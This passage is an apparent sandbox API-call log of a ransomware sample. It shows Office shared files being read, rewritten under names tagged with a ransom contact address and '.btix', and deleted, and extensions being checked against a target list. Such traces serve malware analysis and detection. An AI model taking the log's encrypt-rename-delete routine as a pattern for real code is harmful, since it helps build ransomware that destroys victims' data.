shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString=".doc") returned 4 [0056.935] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString=".docx") returned 5 [0056.935] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.935] lstrlenW (lpString=".pdf") returned 4 [0056.935] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString=".xls") returned 4 [0056.935] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString=".xlsx") returned 5 [0056.935] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.935] lstrlenW (lpString=".ppt") returned 4 [0056.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString=".zip") returned 4 [0056.935] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString=".rar") returned 4 [0056.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.935] lstrlenW (lpString=".bz2") returned 4 [0056.935] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.935] lstrlenW (lpString=".7z") returned 3 [0056.935] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString=".dbf") returned 4 [0056.935] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString=".1cd") returned 4 [0056.935] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0056.935] lstrlenW (lpString=".jpg") returned 4 [0056.935] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.936] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.936] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.936] GetLastError () returned 0x0 [0056.936] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0xee60, lpOverlapped=0x0) returned 1 [0057.693] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xee70, lpOverlapped=0x0) returned 1 [0057.695] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.695] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xfa, lpOverlapped=0x0) returned 1 [0057.695] SetEndOfFile (hFile=0x32c) returned 1 [0057.695] CloseHandle (hObject=0x32c) returned 1 [0057.697] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.697] SetEndOfFile (hFile=0x31c) returned 1 [0057.699] CloseHandle (hObject=0x31c) returned 1 [0057.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.699] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0057.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.700] lstrlenW (lpString=".doc") returned 4 [0057.700] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString=".docx") returned 5 [0057.700] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0057.700] lstrlenW (lpString=".pdf") returned 4 [0057.700] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString=".xls") returned 4 [0057.700] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString=".xlsx") returned 5 [0057.700] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0057.700] lstrlenW (lpString=".ppt") returned 4 [0057.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.700] lstrlenW (lpString=".zip") returned 4 [0057.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString=".rar") returned 4 [0057.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.700] lstrlenW (lpString=".bz2") returned 4 [0057.700] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.700] lstrlenW (lpString=".7z") returned 3 [0057.700] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.701] lstrlenW (lpString=".dbf") returned 4 [0057.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.701] lstrlenW (lpString=".1cd") returned 4 [0057.701] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0057.701] lstrlenW (lpString=".jpg") returned 4 [0057.701] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.701] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.701] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0057.702] GetLastError () returned 0x0 [0057.702] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0057.738] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0057.746] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.746] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf2, lpOverlapped=0x0) returned 1 [0057.746] SetEndOfFile (hFile=0x32c) returned 1 [0057.746] CloseHandle (hObject=0x32c) returned 1 [0058.001] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.001] SetEndOfFile (hFile=0x31c) returned 1 [0058.004] CloseHandle (hObject=0x31c) returned 1 [0058.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0058.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0058.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.005] lstrlenW (lpString=".doc") returned 4 [0058.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString=".docx") returned 5 [0058.005] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0058.005] lstrlenW (lpString=".pdf") returned 4 [0058.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString=".xls") returned 4 [0058.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString=".xlsx") returned 5 [0058.005] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0058.005] lstrlenW (lpString=".ppt") returned 4 [0058.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.005] lstrlenW (lpString=".zip") returned 4 [0058.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString=".rar") returned 4 [0058.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.005] lstrlenW (lpString=".bz2") returned 4 [0058.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.005] lstrlenW (lpString=".7z") returned 3 [0058.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.005] lstrlenW (lpString=".dbf") returned 4 [0058.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.006] lstrlenW (lpString=".1cd") returned 4 [0058.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0058.006] lstrlenW (lpString=".jpg") returned 4 [0058.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0059.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.575] lstrlenW (lpString=".doc") returned 4 [0059.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.575] lstrlenW (lpString=".docx") returned 5 [0059.575] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0059.575] lstrlenW (lpString=".pdf") returned 4 [0059.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.575] lstrlenW (lpString=".xls") returned 4 [0059.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.575] lstrlenW (lpString=".xlsx") returned 5 [0059.575] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0059.575] lstrlenW (lpString=".ppt") returned 4 [0059.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.576] lstrlenW (lpString=".zip") returned 4 [0059.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.576] lstrlenW (lpString=".rar") returned 4 [0059.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.576] lstrlenW (lpString=".bz2") returned 4 [0059.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.576] lstrlenW (lpString=".7z") returned 3 [0059.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.576] lstrlenW (lpString=".dbf") returned 4 [0059.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.576] lstrlenW (lpString=".1cd") returned 4 [0059.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0059.576] lstrlenW (lpString=".jpg") returned 4 [0059.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0059.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.579] lstrlenW (lpString=".doc") returned 4 [0059.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString=".docx") returned 5 [0059.580] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0059.580] lstrlenW (lpString=".pdf") returned 4 [0059.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString=".xls") returned 4 [0059.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString=".xlsx") returned 5 [0059.580] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0059.580] lstrlenW (lpString=".ppt") returned 4 [0059.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.580] lstrlenW (lpString=".zip") returned 4 [0059.580] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString=".rar") returned 4 [0059.580] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.580] lstrlenW (lpString=".bz2") returned 4 [0059.580] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.580] lstrlenW (lpString=".7z") returned 3 [0059.580] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.580] lstrlenW (lpString=".dbf") returned 4 [0059.580] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.580] lstrlenW (lpString=".1cd") returned 4 [0059.580] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0059.580] lstrlenW (lpString=".jpg") returned 4 [0059.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0059.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.611] lstrlenW (lpString=".doc") returned 4 [0059.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString=".docx") returned 5 [0059.611] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0059.611] lstrlenW (lpString=".pdf") returned 4 [0059.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString=".xls") returned 4 [0059.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString=".xlsx") returned 5 [0059.611] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0059.611] lstrlenW (lpString=".ppt") returned 4 [0059.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.611] lstrlenW (lpString=".zip") returned 4 [0059.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString=".rar") returned 4 [0059.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.611] lstrlenW (lpString=".bz2") returned 4 [0059.611] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.611] lstrlenW (lpString=".7z") returned 3 [0059.611] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.612] lstrlenW (lpString=".dbf") returned 4 [0059.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.612] lstrlenW (lpString=".1cd") returned 4 [0059.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61 [0059.612] lstrlenW (lpString=".jpg") returned 4 [0059.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.625] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.625] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0059.626] GetLastError () returned 0x0 [0059.626] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0059.830] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0059.835] ReadFile (in: hFile=0x328, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.835] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xe8, lpOverlapped=0x0) returned 1 [0059.835] SetEndOfFile (hFile=0x348) returned 1 [0059.835] CloseHandle (hObject=0x348) returned 1 [0059.841] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.842] SetEndOfFile (hFile=0x328) returned 1 [0059.844] CloseHandle (hObject=0x328) returned 1 [0059.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0059.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0059.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.845] lstrlenW (lpString=".doc") returned 4 [0059.845] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0059.845] lstrlenW (lpString=".docx") returned 5 [0059.845] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0059.845] lstrlenW (lpString=".pdf") returned 4 [0059.845] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0059.845] lstrlenW (lpString=".xls") returned 4 [0059.845] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0059.845] lstrlenW (lpString=".xlsx") returned 5 [0059.846] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0059.846] lstrlenW (lpString=".ppt") returned 4 [0059.846] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0059.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.846] lstrlenW (lpString=".zip") returned 4 [0059.846] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0059.846] lstrlenW (lpString=".rar") returned 4 [0059.846] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0059.846] lstrlenW (lpString=".bz2") returned 4 [0059.846] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0059.846] lstrlenW (lpString=".7z") returned 3 [0059.846] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0059.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.846] lstrlenW (lpString=".dbf") returned 4 [0059.846] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0059.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.846] lstrlenW (lpString=".1cd") returned 4 [0059.846] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0059.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0059.846] lstrlenW (lpString=".jpg") returned 4 [0059.846] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0059.870] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.870] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0059.968] GetLastError () returned 0x0 [0059.968] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x30a0, lpOverlapped=0x0) returned 1 [0060.085] WriteFile (in: hFile=0x3a4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x30b0, lpOverlapped=0x0) returned 1 [0060.086] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.086] WriteFile (in: hFile=0x3a4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xfa, lpOverlapped=0x0) returned 1 [0060.086] SetEndOfFile (hFile=0x3a4) returned 1 [0060.086] CloseHandle (hObject=0x3a4) returned 1 [0060.087] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 